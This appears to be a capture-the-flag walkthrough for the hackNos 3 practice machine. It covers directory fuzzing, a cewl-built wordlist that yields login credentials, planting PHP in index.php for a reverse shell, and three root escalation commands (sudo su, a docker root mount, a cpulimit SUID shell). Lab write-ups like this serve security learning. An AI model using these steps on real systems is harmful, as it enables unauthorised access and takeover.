hackNos 3

By Lawcky 03/01/2024

Introduction

Flag: 2 Flag first user and the second root

Flag: 2 Flag first user And the second root

Learning: Web Application | Enumeration | Privilege Escalation

Difficulty : Medium

Additionnal info :

Name: hackNos: Os-hackNos-3
Release date: 14 Dec 2019
Author: Rahul Gehlaut
Series: hackNos

|NOTE| if you want to see all the scans we wont copy them here as they would be way too voluminous, click here to see them

---

In this write-up

---

Write-UP

Fuzzing

ffuf -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt:FUZZ -u http://192.168.1.65/FUZZ

also tried “.txt” “.html” “.FUZZ” “.FUZZ.txt”

found :
/devil
/websec

Getting first access

reading through the website on /websec/
we know the
contact@hacknos.com mail
and using cewl we get a wordlist based on the website

cewl -d 2 http://192.168.1.65 -w websec.dic

with this we found the account :
contact@hacknos.com:Securityx

---

Looking for RCE

rce ===> exploit-db

we go to the file manager and inject the php code to the index.php page, everytime the default page is open a reverse shell connection will be sent.

---

Privilege Escalation

got first flag

Linux Enumeration

we run linpeas

found a unknown service on a high port

blackdevil user has a lot of groups that could be easily used for privilege escalation

to verify it we can run the command

find / -perm -4000 2>/dev/null

===> gtfo

but we need the user’s password to do so.

the port 35563 is a mysql server, after looking we find this:

---

Mysql

SELECT * FROM ost_staff;

---

none of it worked
the answer:
cat /var/local/database

run this through a ‘fakesheet decoder’ (it didnt even work for me)

which then gives :

blackdevil:Security@x@

---

Privilege Escalation

there are at least 3 ways to get root

since the default privilege escalation is very easy

First Way

sudo su

Second Way

using dockers

docker run -v /root/:/mnt -it alpine

Third Way

using SUID

the cpulimiter binairy has a set of SUID that allows it to be used for Privesc

sudo install -m =xs $(which cpulimit) .

./cpulimit -l 100 -f -- /bin/sh -p